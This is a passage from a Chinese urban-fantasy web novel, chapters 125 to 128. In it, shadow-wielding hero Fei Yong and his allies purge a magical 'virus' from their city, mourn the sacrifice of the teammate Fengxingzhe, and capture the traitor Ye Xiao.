话音未落,晶体突然爆发出刺眼的白光。林悦被气浪掀飞,在空中看到人影化作无数白色的光粒,顺着影刃涌入她的影子里,与那缕之前钻进影子的光丝融合在一起。
地面的阴影瞬间退散了。
林悦摔在地上,看着掌心的影刃渐渐恢复黑色,上面的雷电能量已经耗尽。基地上空的光柱不知何时消失了,但她能感觉到,自己的影子里多了些什么——温暖的,温柔的,像母亲的手轻轻搭在肩上。
“林悦!”
费勇的声音从通道口传来。他冲了进来,看到地上的林悦时,影子突然暴涨,瞬间将她护在里面。“你没事吧?有没有被病毒……”
“我没事。”林悦笑着站起来,晃了晃手腕上正在消退的黑色纹路,“倒是你,这招跨空间传能量挺帅的,回头教我两手?”
费勇愣住了,随即耳根有些发红。他别过头,看向已经彻底失去光芒的晶体:“她……”
“她走了。”林悦的声音低了些,她指了指自己的影子,“但好像留下了点什么。”
费勇的影子轻轻碰了碰她的影子。在那一瞬间,他仿佛听到了一声温柔的笑,像小时候母亲在哄他睡觉。
“我们先把风行者带回去。”林悦拍了拍他的肩膀,语气恢复了平时的爽快,“剩下的事,回去再说。”
费勇点点头,弯腰抱起风行者。他的影子落在地上,与林悦的影子交叠在一起,黑色的雾气中,隐约能看到一缕白色的光丝在闪烁。
他知道,这还不是结束。但至少现在,他们离真相又近了一步。
第125章:夏艳玲的终极情绪
布娃娃的纽扣眼睛上沾着灰。
夏艳玲蹲在核心室的角落,用袖子反复擦拭娃娃的脸。苏清月刚被费勇叫去处理风行者的伤口,房间里只剩下她和控制台屏幕上跳动的红色警报——那是病毒扩散的预警,像不断渗血的伤口。
“嘀嗒,嘀嗒。”
控制台的倒计时在响,每一声都像踩在心脏上。夏艳玲抱紧布娃娃,指尖摸到娃娃背后的补丁——那是费勇昨天用暗影能量凝结的黑布,现在正微微发烫,像是有小虫子在里面爬。
“清月姐姐说,别怕。”她对着娃娃喃喃自语,声音小得像蚊子哼。但掌心的冷汗骗不了人,基地的震颤越来越明显,墙壁上的裂缝正顺着黑色纹路蔓延,像无数条毒蛇在吐信。
突然,布娃娃猛地跳动了一下。
夏艳玲吓得差点把它扔出去。娃娃的眼睛里闪过一道微光,她的意识瞬间被拽进一片混乱的洪流——尖叫声、哭喊声、金属扭曲声……无数情绪像潮水般涌来,压得她喘不过气。
这是……全城人的情绪?
她看到贫民区的母亲把孩子护在身下,恐惧像冰锥刺穿心脏;看到破晓基地的研究员咬着牙修复防御系统,愤怒的火焰在血管里燃烧;看到特调科的警察背靠背组成防线,绝望中透着一丝不肯认输的倔强……
“太多了……”夏艳玲抱着头蜷缩在地上,布娃娃滚到一边。那些情绪在她体内冲撞,额头的青筋突突直跳,像是有无数根针在扎。她想关掉这可怕的感知,却发现意识像被粘在蛛网上,怎么也挣脱不开。
就在这时,一道温暖的光从布娃娃里渗出来。
夏艳玲抬头,看到娃娃的胸口亮起金色的光点,那是费勇父亲留下的能量。光点顺着她的指尖爬上来,那些狂暴的情绪突然变得温顺了,像被安抚的野兽。
“爸爸说……情绪是种子。”一个模糊的声音在脑海里响起,是布娃娃里残留的记忆碎片,“恐惧能结冰,愤怒能生火,但只有希望……能让所有种子发芽。”
希望?
夏艳玲愣住了。她想起费勇冲进溶洞时的背影,想起苏清月笑着给她贴创可贴的样子,想起林悦骂骂咧咧却把最后一块压缩饼干塞给她的瞬间。那些画面像星星,在混乱的情绪洪流中闪闪发亮。
“对哦……”她慢慢站起来,捡起布娃娃。这一次,她没有躲开那些汹涌的情绪,反而试着伸出手——就像费勇教她的那样,用掌心去触碰影子里的光。
奇迹发生了。
那些原本混乱的情绪开始分层:深蓝色的恐惧沉在底部,鲜红色的愤怒在中间翻滚,而最上层,无数细碎的金色光点正在缓缓上升,那是藏在绝望深处的希望。
“原来大家……都没放弃啊。”夏艳玲的眼睛亮了起来。她举起布娃娃,娃娃胸口的光点突然爆发出耀眼的光芒,将那些金色的希望情绪全部吸了进来。
“嗡——”
布娃娃开始发烫,上面的补丁裂开黑色的纹路,与夏艳玲的影子连在一起。她能感觉到,全城的希望情绪正顺着影子往她体内汇聚,像一条温暖的河。
“够了……够了!”苏清月的声音从门口传来。她刚处理完风行者的伤口,就看到夏艳玲周身缠绕着金色的光带,额头上浮现出和布娃娃一样的纹路,“艳玲,快停下!你的身体会撑不住的!”
夏艳玲没有回头。她踮起脚尖,布娃娃举过头顶,那些汇聚的希望情绪突然炸开,化作无数条金色的丝线,飞向基地的每个角落。
“爸爸说……”她的声音很轻,却清晰地传到每个人耳中,“只要大家相信光,影子就不会孤单。”
***费勇正背着风行者往医疗室跑,突然感觉后背一暖。
他回头,看到一道金色的光丝从夏艳玲的方向飞来,钻进风行者的伤口里。那些狰狞的黑色纹路瞬间退缩了,原本微弱的呼吸变得平稳了些。
“这是……”费勇愣住了。他能感觉到,这股能量里混杂着无数人的情绪,温暖得像晒过太阳的被子。
与此同时,基地的震动突然减弱了。墙壁上蔓延的黑色纹路开始褪色,控制台屏幕上的红色警报变成了黄色。费勇的影子里传来一阵熟悉的悸动,父亲的残念与某种温柔的能量产生了共鸣。
“费勇!快看天上!”林悦的声音从通讯器里传来,带着难以置信的惊讶。
费勇冲出基地,抬头的瞬间,心脏像是被什么东西撞了一下。
一道金色的光柱从基地顶端冲天而起,贯穿了灰蒙蒙的天空。光柱周围缠绕着黑色的暗影能量和蓝色的雷电能量,那是他和林悦的力量,此刻正被光柱牵引着,形成一道螺旋状的光带,将贫民区上空的黑色漩涡死死缠住。
更神奇的是,光柱里不断有新的光点汇入——那是全城异能者的能量,有植物的绿色,有火焰的红色,有水流的蓝色……所有人的力量都被夏艳玲的情绪能量串联起来,形成了一道前所未有的防御网。
“那小丫头……”费勇握紧拳头,眼眶有些发热。他终于明白费振南的话,夏艳玲体内的“情绪核心”,从来都不是武器,而是能让所有人团结起来的桥梁。
光柱中的黑色漩涡开始剧烈挣扎,暗紫色
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的病毒能量像喷泉般往外涌。但这一次,那些能量刚接触到光柱,就被金色的希望情绪净化成了白色的光粒,消散在空气中。
“不可能……”漩涡深处传来判官气急败坏的吼声,“区区情绪能量,怎么可能对抗完美病毒!”
夏艳玲站在基地顶端,衣摆被风吹得猎猎作响。她的头发飘了起来,周身的金色光带越来越厚,像披上了一件太阳织成的披风。听到判官的声音,她歪了歪头,举起布娃娃指向漩涡:
“因为你没有影子啊。”
判官的身影在漩涡中一闪而过,似乎被这句话刺痛了。黑色漩涡突然收缩,化作一条巨大的蛇,张开嘴咬向光柱。
“就是现在!”费勇低喝一声,暗影能量顺着光柱往上爬。他的影子与光柱中的黑色纹路融合,影核在掌心爆发出纯白的光芒——那是吸收了父亲残念和母亲意识后的新形态。
“影界领域,展开!”
黑色的暗影能量从光柱底部蔓延开来,覆盖了大半个城市。领域内,所有的影子都站了起来,化作无数只手,抓住那些试图逃窜的病毒能量。
光柱中的金色能量与黑色的暗影能量产生了奇妙的共鸣。夏艳玲能感觉到,费勇的影子里传来两股温暖的情绪——那是父亲的骄傲和母亲的温柔,正顺着光柱流淌,与全城的希望情绪融为一体。
“净化吧。”夏艳玲轻声说。
光柱猛地收缩,然后炸开。
金色的光芒和黑色的暗影像烟花般散开,落到城市的每个角落。被病毒感染的人身上的黑色纹路开始消退,坍塌的建筑周围长出了绿色的藤蔓,贫民区的孩子们从躲藏的地方跑出来,指着天空发出惊喜的欢呼。
当光芒散去时,夏艳玲脱力地坐在地上。布娃娃掉在身边,已经恢复了普通玩偶的样子,只是胸口多了一个小小的太阳印记。
费勇几个影遁来到她身边,伸手想扶她起来,却被她轻轻推开。
“我没事。”夏艳玲笑了,眼睛弯成了月牙,“就是有点饿。”
费勇愣了一下,随即也笑了。他把背包里最后一块巧克力递给她,看着她小口小口地啃着,突然觉得,这或许就是父亲所说的“守护”——不是一个人的战斗,而是所有人的光,汇聚成照亮黑暗的火焰。
远处的医疗室里,苏清月看着风行者伤口完全消退的纹路,轻轻舒了口气。林悦靠在门口,看着天空中渐渐散去的微光,嘴角不自觉地往上扬。
只有黑色漩涡消失的地方,残留着一缕若有若无的暗紫色雾气,像一条毒蛇,悄无声息地钻进了地下。
第126章:风行者的归宿
医疗室的无影灯晃得人眼晕。
林悦靠在墙角,看着苏清月用绿色藤蔓缠绕风行者的伤口。藤蔓上渗出的透明液滴落在他胸口,那些被金色光丝压制的黑色纹路却像不甘示弱的蛇,时不时探出头,在皮肤下游走。
“怎么样?”林悦的声音有点哑。她刚才试着往风行者体内注入雷电能量,却被那些空间碎片反噬,现在指尖还在发麻。
苏清月擦了擦额头的汗,摇头道:“空间碎片已经侵蚀到心脏了,夏艳玲的能量只能暂时稳住,想彻底清除……”她没说下去,但眼里的担忧已经说明了一切。
风行者突然哼了一声,眼皮动了动。
林悦立刻凑过去,看到他干裂的嘴唇在动,像是在说什么。她把耳朵凑到他嘴边,听到一串模糊的气音:“……别白费力气了……老子自己的身体……清楚得很……”
“闭嘴养伤!”林悦没好气地拍了下他的胳膊,却在触碰到他皮肤时愣住了——太烫了,像揣了个即将**的热水袋。这是异能者能量失控的征兆。
风行者突然笑了,笑声牵扯到伤口,疼得他龇牙咧嘴,眼里却闪着惯有的桀骜:“林警官……还是这么凶……难怪嫁不出去……”
“你管我!”林悦别过脸,却感觉眼眶有点发热。她想起第一次在贫民区见面时,这家伙叼着烟嘲笑她的雷电能量“像个劣质打火机”,现在却虚弱得连说话都费劲。
“费勇呢?”风行者偏过头,看向窗外。基地顶端的金色光柱还在闪烁,将他的侧脸照得忽明忽暗。
“去处理病毒残留了。”林悦顿了顿,补充道,“他让我告诉你,等你好了,就去核心室喝他珍藏的威士忌。”
风行者的眼睛亮了亮,随即又黯淡下去。他咳嗽了几声,胸口的藤蔓突然剧烈抖动起来,黑色纹路冲破束缚,像蛛网般蔓延到脖颈。
“清月姐姐!”林悦急得抓住苏清月的胳膊。
苏清月立刻催生更多藤蔓,却被风行者抬手拦住。他的动作很慢,却带着不容置疑的坚决:“不用了……让我跟林警官……说几句话。”
苏清月犹豫了一下,最终还是叹了口气,退出了医疗室。
房间里只剩下他们两人,空气里弥漫着藤蔓的清香和淡淡的血腥味。风行者看着天花板,突然开口:“知道吗……我第一次见费勇,觉得他就是个愣头青……”
林悦没说话,静静地听着。
“那时候他刚觉醒异能,连影刃都凝聚不稳,却敢跟审判长硬拼……”风行者笑了笑,咳嗽声越来越急促,“但我后来发现……这小子比谁都有种……”
他转头看向林悦,眼神突然变得锐利起来,像是在执行什么重要任务:“主控室的**器……不是我放的。”
林悦的心猛地一跳。
“是夜枭。”风行者的声音很轻,却字字清晰,“那天我去检查设备,看到他鬼鬼祟祟地在主控室门口晃……当时没在意,现在想来……”他咳了口血,“那家伙早就被裁决会收买了……”
这个名字像颗**,在林悦脑海里炸开。夜枭是破晓的老成员,平时沉默寡言,负责基地的通讯系统,谁也没想到……
“为什么现在才说?”林悦的声音有点发颤。
“老子……不屑于辩解。”风行者扯了扯嘴角,胸口的黑色纹路突然疯狂涌动,“但我不能让费勇觉得……破晓的人都是叛徒……”
他突然抓住林悦的手腕,力气大得惊人。林悦感觉到一股微弱的超音速能量顺着他的指尖传来,带着某种灼热的温度。
“巢穴下面……还有一层暗室……”风行者的呼吸越来越困难,眼神却异常明亮,“里面有裁决会……培养病毒的原始数据……必须毁掉……”
林悦这才明白,他刚才不是在说胡话,是在交代遗言。
“我带你出去!我们一起去炸了那鬼地方!”林悦想把他扶起来,却被他用力推开。
风行者靠在床头,从枕头下摸出一个银色的打火机——那是破晓成员的能量引爆器。他的手指已经开始发黑,却稳稳地握住了打火机。
“来不及了……”他抬头看向窗外,金色的光柱正透过玻璃照在他脸上,“你看……这光多亮……像不像老子当年……第一次突破音速时看到的风景……”
林悦的眼泪终于忍不住掉了下来。
“告诉费勇……”风行者的声音越来越低,嘴角却带着笑,“老子没给他丢人……”
他猛地按下打火机的按钮,同时用尽最后力气将林悦推出医疗室。
“老子不是叛徒……”
林悦被推到走廊的瞬间,身后传来剧烈的**声。灼热的气浪掀飞了走廊的窗户,她回头时,只看到医疗室的方向亮起一片刺眼的白光,风行者的声音混在**声里,像是在喊什么,又像是在笑。
“风行者——!”
林悦想冲回去,却被赶来的苏清月死死拉住。绿色的藤蔓在她们身前形成护盾,挡住
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了飞溅的碎石。
“别去!”苏清月的声音带着哭腔,“他是故意的!空间碎片**能产生冲击波,刚好能封闭巢穴的暗室入口!”
林悦瘫坐在地上,看着医疗室的方向渐渐被烟尘笼罩。她想起风行者最后那抹笑,想起他总挂在嘴边的“老子天下第一”,想起他为了掩护队友硬接审判长一击时的决绝。
这个桀骜不驯、嘴硬心软的家伙,最终用最壮烈的方式,证明了自己的忠诚。
***费勇刚用影界领域清除完最后一块病毒残留,就感觉到一阵心悸。
他抬头看向医疗室的方向,那里的能量波动突然消失了,取而代之的是一股熟悉的超音速能量爆发——那是风行者的能量,却带着毁灭性的气息。
“不好!”费勇脸色大变,几个影遁就冲到了走廊。
他看到林悦坐在地上,眼泪混着灰尘往下掉,苏清月正抱着她的肩膀低声安慰。医疗室的门已经被炸飞,里面冒着黑烟,隐约能看到绿色的藤蔓残骸。
“风行者呢?”费勇的声音在发抖。
林悦抬起头,通红的眼睛看着他,嘴唇动了半天,才挤出一句话:“他说……他不是叛徒。”
费勇的心脏像是被什么东西攥住了,疼得喘不过气。他想起风行者在贫民区流血时的喊叫声,想起他被怀疑时的沉默,想起他最后笑着按下**的样子。
原来从一开始,他就做好了牺牲的准备。
“还有……”林悦抹了把眼泪,从口袋里掏出一个变形的金属牌,那是风行者的身份牌,“他说,巢穴下面有暗室,藏着裁决会的病毒数据,让我们……”
“我知道了。”费勇接过身份牌,金属的冰凉透过指尖传来。他的影子突然暴涨,黑色的雾气笼罩了整个走廊,“清月,带林悦去休息。”
“费勇,你要干什么?”林悦站起来想拉住他。
费勇没有回头,影子在他身后化作一道黑色的门:“去完成风行者没做完的事。”
他走进影子门的瞬间,听到林悦在身后喊:“那家伙……终于做了件像样的事。”
费勇的脚步顿了顿,眼眶有些发热。
是啊,这个总是惹麻烦、爱吹牛、嘴硬得像块石头的风行者,最终用生命证明了,他是破晓最勇敢的战士。
当费勇的影子门消失在走廊尽头时,医疗室的烟尘里,一缕淡蓝色的光丝悄悄飘起,融入了基地的光芒中,像一颗流星,终于找到了自己的归宿。
第127章:影核的终极形态
费勇站在巢穴暗室的入口处,风行者**产生的冲击波还在空气中震颤。他刚用影遁穿过碎石堆,就感觉到掌心的影核突然发烫,那些螺旋状的纹路正顺着指尖往上爬,在手腕上织成一道黑色的bracelet(手镯)。
“还在等什么?”林悦的声音从通讯器里传来,带着电流的杂音,“夜枭那家伙在基地里动了手脚,老鬼正盯着他,我们得尽快毁掉数据!”
费勇没应声,指尖划过影核表面。晶体已经完全失去了之前的冰冷质感,反而像块温热的琥珀,里面流动的不再是暗紫色的病毒能量,而是纯粹的黑色光流——那是融合了父亲残念和母亲意识后的暗影本源。
他突然想起费振南的话:“影核不是武器,是钥匙。”
“嗡——”
影核猛地爆发出强光,费勇的影子瞬间被拉长,像墨汁滴入清水般扩散开来。他脚下的地面开始浮现出复杂的纹路,与影核上的螺旋图案完美重合,形成一个巨大的阵法。
“这是……”费勇低头,看到那些纹路里渗出金色的光粒,正是夏艳玲之前释放的希望能量。两种能量在阵法中交织,发出琴弦共鸣般的轻响。
暗室深处传来一阵刺耳的嘶鸣,像是有无数只虫子在爬行。费勇的影界领域自动展开,领域内的影子们突然躁动起来,纷纷指向暗室尽头——那里藏着一个巨大的金属柜,柜门上闪烁着裁决会的标志。
“找到了。”费勇握紧影核,正准备冲过去,却被一阵剧烈的咳嗽声拦住了脚步。
他回头,看到费振南靠在碎石堆上,脸色苍白得像纸。老人的胸口剧烈起伏,黑色的纹路已经蔓延到脸颊,原本清澈的眼睛此刻蒙上了一层灰雾。
“叔叔!”费勇立刻影遁到他身边,想将影核的能量渡过去,却被费振南抬手按住。
“别白费力气……”费振南笑了笑,咳出的血滴在地上,瞬间被影子吸收,“我早就被病毒侵蚀了……能撑到现在,全靠你父亲留下的这口气……”
他抬起手,指尖轻轻碰了碰费勇手腕上的黑色纹路:“你看,这纹路多像当年研究所的能量回路……那时候你父亲总说,暗影能量不该是吞噬光明的存在,该是守护光明的影子……”
费勇的喉咙发紧。他这才注意到,费振南的手腕上,也有一道几乎淡不可见的同款纹路。
“当年的实验……”费振南的声音越来越低,眼神却亮得惊人,“我们想培养能掌控病毒的容器,却没想到判官早就动了手脚……他要的不是容器,是能让病毒完美寄生的宿主……”
影核突然剧烈震动起来,暗室里的金属柜发出刺耳的警报声。费勇透过影子感知到,柜内的病毒数据正在自动上传,目标指向裁决会的服务器。
“没时间了!”费勇想站起来,却被费振南死死抓住胳膊。
老人的力气大得惊人,眼里闪过一丝决绝:“小勇,记住……暗影本源的真正力量,不是吞噬,是包容。”他突然将自己的手掌按在影核上,“这是我欠你父亲的,也是欠你的。”
费勇感觉到一股温暖的能量顺着对方的手掌涌入影核。费振南身上的黑色纹路以肉眼可见的速度消退,取而代之的是金色的光粒,像萤火虫般汇入影核。
“叔叔!你在干什么?!”费勇想推开他,却发现自己的身体被影子牢牢固定在原地。
费振南笑了,脸上的皱纹舒展开来,竟与费勇记忆中父亲的笑容重合:“你父亲总说我胆小……其实我只是怕,怕保护不了你们……”他的身体开始变得透明,像融化的冰,“现在好了,有你在……”
他抬起头,看向基地的方向,那里的金色光柱正透过暗室的缝隙照进来,在他透明的身体上投下斑驳的光影。
“哥哥,你看……”费振南的声音轻得像叹息,“小勇做到了……”
话音未落,他的身体彻底化作无数金色的光粒,融入影核之中。
***影核爆发出的光芒几乎要刺穿费勇的眼睛。
他感觉体内的暗影能量像决堤的洪水,顺着血管疯狂奔涌。影核不再是握在掌心的晶体,而是化作一道黑色的光流,钻进他的影子里——那里,父亲的残念与母亲的意识正在等待。
“轰——!”
费勇的影界领域瞬间扩展,黑色的雾气冲破暗室,覆盖了整座城市。领域内,所有的影子都活了过来:贫民区孩子追逐的小狗影子摇着尾巴,基地研究员忙碌的影子停下脚步,甚至连倒塌建筑的断壁影子,都开始缓缓蠕动。
“净化。”
费勇听到自己的声音在领域内回荡,却又不像自己的声音——那里面混杂着父亲的沉稳、母亲的温柔,还有费振南最后的叹息。
无数影子化作半透明的手,伸向城市的每个角落。那些残留的病毒能量一接触到影子手,就像冰雪遇暖阳般消融,化作白色的光粒,被影子吸收。
暗室里的金属柜在剧烈震动,柜门上的裁决会标志开始扭曲。费勇的影子顺着柜门蔓延上去,那些上传数据的线路瞬间被黑色雾气包裹,发出滋滋的响声,屏幕上的进度条戛然而止,随后彻底黑屏。
“搞定。”费勇低声说,感觉体内的能量还在暴涨。
他低头看向自己的影子,原本纯粹的黑色此刻流动着金色的纹路,像星空的倒影。影核融入的位置浮现出一个复杂的图案,正是费振南所说的“701研究所能量回路”——完整的暗影本源纹路。
突然,影子里传来一阵熟悉的悸动。
费勇的意识被拽进影界深处。他看到了三道模糊的身影:左边的男人穿着黑色风衣,轮廓像父亲;右边的女人披着长发,眉眼像母亲;中间的老人拄着拐杖,笑容像费振南。
他们没有说话,只是朝他挥了挥手,然后化作三道光流,融入他的影子里。
“守护好这个世界。”
三道声音在影界深处回荡,温柔得像春风拂过湖面。
费勇猛地睁开眼,影界领域开始收缩。那些化作手的影子缓缓收回,城市的光影渐渐恢复正常,只有被净化过的地方,空气中还残留着淡淡的草木清香——那是苏清月的生命能量,被他的影子包容、融合了。
他低头看向暗室的地面,金属柜已经
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化作一堆黑色的粉末。风行者**留下的碎石堆上,长出了几株绿色的小草,叶片上还沾着金色的光粒。
“费勇?”林悦的声音从入口处传来,带着惊讶,“你没事吧?我刚才在基地顶端看到……”
费勇转身,看到林悦站在碎石堆外,嘴巴张得能塞下一个鸡蛋。她的身后,苏清月抱着夏艳玲,老鬼拄着拐杖,所有人的脸上都写满了震惊。
“你……你的影子……”夏艳玲指着费勇的脚下,布娃娃从她怀里滑下来,“在发光……”
费勇低头,看到自己的影子里,金色的纹路正在缓缓流动,像有生命般。那些纹路组成的图案,正是完整的暗影本源标志。
他突然笑了,抬手召出影刃。黑色的短刃上不再是单调的黑色,而是缠绕着金色的光丝,刃身划过空气时,竟带着清脆的鸣响,像风铃在唱。
“看来……我们得重新认识一下了。”费勇说。
林悦突然反应过来,一拳打在他的胳膊上,力道却比平时轻了很多:“臭小子,居然瞒着我们搞出这么大动静!刚才那招叫什么?帅得有点过分了啊!”
苏清月走上前,指尖轻轻碰了碰费勇的影子,脸上露出欣慰的笑容:“暗影本源完全觉醒了,而且……”她看向周围的碎石堆,“它真的像你父亲说的那样,在守护,不是吞噬。”
夏艳玲捡起地上的布娃娃,突然指着天空:“看!”
众人抬头,只见费勇影界领域收缩时,无数白色的光粒从影子里飘出来,像蒲公英般飞向天空。那些光粒在空中汇聚成三道模糊的人影,盘旋片刻后,化作流星,消失在云层里。
“他们……真的走了吗?”夏艳玲小声问。
费勇握住她的肩膀,指腹触碰到布娃娃上的太阳印记:“没有。”他低头看向自己的影子,那里的金色纹路正微微发亮,“他们只是换了种方式,陪着我们。”
老鬼突然咳嗽了一声,打破了这短暂的宁静:“夜枭已经被控制住了,但他嘴里吐出来个更麻烦的消息。”老人的脸色凝重起来,“判官拿到了701研究所的核心数据,就在我们清理病毒的时候。”
费勇的眼神瞬间变得锐利:“701研究所?”
“就是你父母当年工作的地方。”老鬼叹了口气,“那里藏着比病毒更可怕的东西——据说是能打开影界与现实通道的钥匙。”
林悦握紧了拳头,指节发白:“那家伙到底想干什么?”
费勇没有说话,只是抬头看向天空。阳光穿透云层洒下来,在他身后投下长长的影子,影子里的金色纹路与阳光交织,形成一道肉眼可见的光带,连接着天地。
他知道,风行者的牺牲,费振南的付出,都不是结束。
但这一次,他不再是那个连影刃都凝聚不稳的愣头青。他的影子里,藏着父母的期望,藏着伙伴的信任,藏着整个城市的光。
“我们去701研究所。”费勇说,声音不大,却带着不容置疑的坚定,“有些账,该算算了。”
他的影子在地面上轻轻晃动,金色的纹路闪烁了一下,像是在回应。
第128章:夜枭的逃亡
夜枭缩在通风管道里,怀里的金属管硌得肋骨生疼。那里面卷着从档案室偷来的影界坐标图,图纸边缘还沾着点荧光粉——刚才翻找时不小心蹭到的,现在倒成了催命符,在黑暗里泛着幽幽的绿光。
“妈的。”他咬着牙往管道深处爬,膝盖擦过铁皮发出刺耳的声响。风行者**的冲击波震松了不少管道接口,碎渣掉在安全帽上,像有人在敲闷鼓。
通讯器里还在传来老鬼慢悠悠的声音,带着情报官特有的拖腔:“夜枭啊,大家同事一场,没必要躲躲藏藏的。把坐标图交出来,我还能在费勇面前替你说句好话。”
夜枭猛地扯掉通讯器,狠狠踩碎。那老头的“信息镜像”异能最是麻烦,说不定正通过管道里的金属残留,看着他此刻的狼狈样。
他爬到管道尽头,掀开格栅往下看。下面是基地的物资仓库,堆放着成箱的压缩饼干和应急罐头,角落里还停着辆检修用的代步车——正是他计划中的逃生工具。
“还有三分钟。”夜枭看了眼腕表,表盘上的指针正随着他的心跳颤抖。判官的人应该快到基地外围了,只要拿到坐标图接应成功,他就能彻底摆脱破晓这个烂摊子,去裁决会当个清闲的情报官。
他深吸一口气,翻身跳下去。落地时膝盖一软,差点跪倒在罐头堆上——风行者**时他离得不远,后背被碎石划了道口子,现在还在往外渗血。
“活该。”夜枭啐了口带血的唾沫。风行者那个蠢货到死都不知道,自己早就成了判官计划里的弃子,连身上的空间碎片都是裁决会故意安排的“标记”,方便追踪基地位置。
他踉跄着冲向代步车,手指刚碰到车门把手,就听见身后传来“咔哒”一声轻响。
像是布娃娃关节转动的声音。
夜枭猛地回头,仓库的阴影里站着个小小的身影。夏艳玲抱着布娃娃,眼睛在应急灯下亮得惊人,怀里的娃娃脸上还沾着点暗红色的痕迹——那是风行者的血,早上苏清月清理医疗室时不小心蹭到的。
“小丫头,别挡路。”夜枭摸出藏在靴子里的短刀,刀刃上还残留着撬档案室门锁时的铁锈,“我知道你能感知情绪,现在滚远点,我可以当没看见你。”
夏艳玲没动,只是把布娃娃抱得更紧了。娃娃的纽扣眼睛正对着夜枭,里面似乎倒映着应急灯的红光,像两团跳动的火焰。
“风行者哥哥说,你是坏人。”她的声音很轻,却在空旷的仓库里格外清晰,“他还说,坏人跑不远的。”
夜枭心里咯噔一下,突然感觉脚踝传来一阵刺痛。他低头,看见布娃娃的手正勾着他的裤脚,那些沾着血迹的布料像是活了过来,化作细小的丝线缠上他的皮肤。
更诡异的是,那些丝线里竟传来超音速能量特有的震颤,像有只无形的手按住了他的脚踝,让他动弹不得。
“怎么回事?!”夜枭急得挥刀去砍,刀刃却像砍在棉花上,丝线不仅没断,反而越缠越紧,“这破娃娃是什么鬼东西?!”
“它叫光光。”夏艳玲歪着头,布娃娃突然从她怀里跳出来,张开双臂扑向夜枭。娃娃身上的补丁裂开黑色的纹路,与仓库里的影子连在一起,瞬间织成一张网,把夜枭牢牢罩在里面。
夜枭这才发现,那些黑色纹路里流动着淡蓝色的光粒——那是风行者的能量残留,此刻正与布娃娃里的情绪能量产生共鸣,形成了一道能量囚笼。
“不可能……一个**的能量怎么可能……”夜枭的声音发颤,他突然想起风行者**前那抹诡异的笑,难道这家伙早就留了后手?
仓库门口传来藤蔓生长的“沙沙”声。苏清月站在光影里,身后跟着几个手里握着铁棍的研究员——正是之前被裁决会精神控制,后来被夏艳玲的情绪能量唤醒的那批人。
“夜枭,你跑不掉的。”苏清月的声音很平静,指尖却在微微颤抖。她身后的研究员们眼里冒着怒火,其中一个戴眼镜的男生举着铁棍,镜片反射着应急灯的光:“就是他!当初就是他给我们注射的精神控制药剂!”
夜枭被网得越来越紧,光光趴在他的肩膀上,纽扣眼睛死死盯着他怀里的金属管。娃娃突然张开嘴,喷出一团金色的光粒,精准地击中金属管的接口。
“嗤——”
金属管裂开一道缝,影界坐标图的边角露了出来,上面绘制的螺旋纹路在光线下格外刺眼。
“那是……”苏清月瞳孔一缩,“影界与现实空间的连接点坐标!”
夜枭见状彻底急了,突然爆发出全身的异能。他的影子猛地膨胀,化作无数只手去抢金属管,却被光光死死按住。娃娃突然回头,冲夏艳玲眨了眨眼,身上的金色光粒瞬间暴涨。
“啊——!”
夜枭发出一声惨叫,那些金色光粒像烧红的针,扎进他的影子里。他的异能突然失控,影子开始不受控制地收缩,最后像块破布般贴在地上。
苏清月趁机催生藤蔓,绿色的藤条像**蛇般缠上夜枭的身体,将他牢牢捆在货架上。一个研究员上前夺过金属管,小心翼翼地递给苏清月。
“清月姐,这图纸……”
“先收起来。”苏清月接过金属管,目光落在夜枭扭曲的脸上,“说吧,你为什么要帮判官?他到底许诺了你什么?”
夜枭喘着粗气,眼里闪过一丝疯狂:“许诺?他给我的是新生!你们以为破晓是什么好东西?不过是群活在过去的可怜虫!”他挣扎着抬头,看向苏清月手里的金属管,“你们毁了我的机会……判官不会放过你们的!他已经拿到701研究所的核心数据,很快就会……”
一个研究员嫌他聒噪,抓起旁边的抹布塞进他嘴里。夜枭的呜呜声在仓库里回荡,像被踩住尾巴的老鼠。
苏清月走到夏艳玲身边,轻轻抚摸着布娃娃的头。光光蹭了蹭她的手心,身上的黑色纹路渐渐隐去,变回普通玩偶的样子。
“辛苦你了,光光。”苏清月低声说,又看向夏艳玲,“也辛苦你了,艳玲。”
夏艳玲摇摇头,把光光抱回怀里,小脸埋在娃娃的补丁上:“是风行者哥哥在帮忙。”她抬起头,眼里闪着光,“他说,坏人就该被绳子绑起来,像过年的咸鱼。”
苏清月忍不住笑了,眼眶却有些发热。她抬头看向仓库的阴影处,仿佛能看到风行者桀骜的身影正靠在货架上,叼着烟,一脸得意地说“老子早就料到了”。
研究员们七手八脚地把夜枭抬出去,仓库里终于安静下来。苏清月打开金属管,取出影界坐标图仔细查看,越看脸色越凝重。
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“清月姐姐,怎么了?”夏艳玲凑过来。
“这些坐标……”苏清月指着图上的一个红点,“刚好对应着701研究所的位置。”她把图纸折好放进怀里,“我们必须立刻告诉费勇,判官的目标恐怕不只是打开影界通道那么简单。”
光光突然从夏艳玲怀里跳出来,指向仓库角落的阴影。那里的地面上,不知何时出现了一道细微的裂缝,裂缝里渗出一缕淡紫色的雾气,正悄无声息地往通风管道里钻。
苏清月脸色一变,立刻催生藤蔓堵住裂缝:“还有漏网之鱼?”
夏艳玲抱着光光,突然打了个寒颤:“清月姐姐,我感觉到……有双眼睛在看着我们。”
***费勇赶到仓库时,只看到被藤蔓堵住的裂缝和苏清月手里的坐标图。林悦正站在门口打电话,对着通讯器吼道:“特调科的人怎么还没到?我不管你们有什么顾虑,现在必须立刻封锁基地外围!裁决会的人很可能已经混进来了!”
“坐标图我看过了。”费勇的声音有些沙哑,他刚从影界领域的状态中恢复过来,影子里的金色纹路还在微微发亮,“判官想利用这些连接点,把影界的能量引到现实世界。”
“引过来做什么?”林悦挂了电话,眉头拧成一团。
费勇的目光落在那道被堵住的裂缝上,指尖轻轻划过影子:“影界深处藏着更古老的能量,据说是‘暗影神祇’的残念。判官拿到701研究所的数据,恐怕是想……”
他没说下去,但所有人都明白了。
苏清月把坐标图递给费勇,指尖不小心碰到他的影子,突然感觉到一阵微弱的悸动——那是费振南残留的能量,此刻正与坐标图上的纹路产生共鸣。
“老鬼说,夜枭被堵住嘴前,提到了701研究所的核心数据。”苏清月低声说,“恐怕不止是影界坐标这么简单。”
费勇握紧坐标图,影子突然自动展开,覆盖了整个仓库。领域内的影子们纷纷指向那道裂缝,发出细碎的嗡鸣。
“他已经开始行动了。”费勇的眼神变得锐利,“我们得去701研究所。”
林悦掏出配枪检查:“我已经申请了特调科的支援,半小时后到。不过……”她看向费勇,“你确定要现在去?基地刚经历过病毒危机,大家都需要休整。”
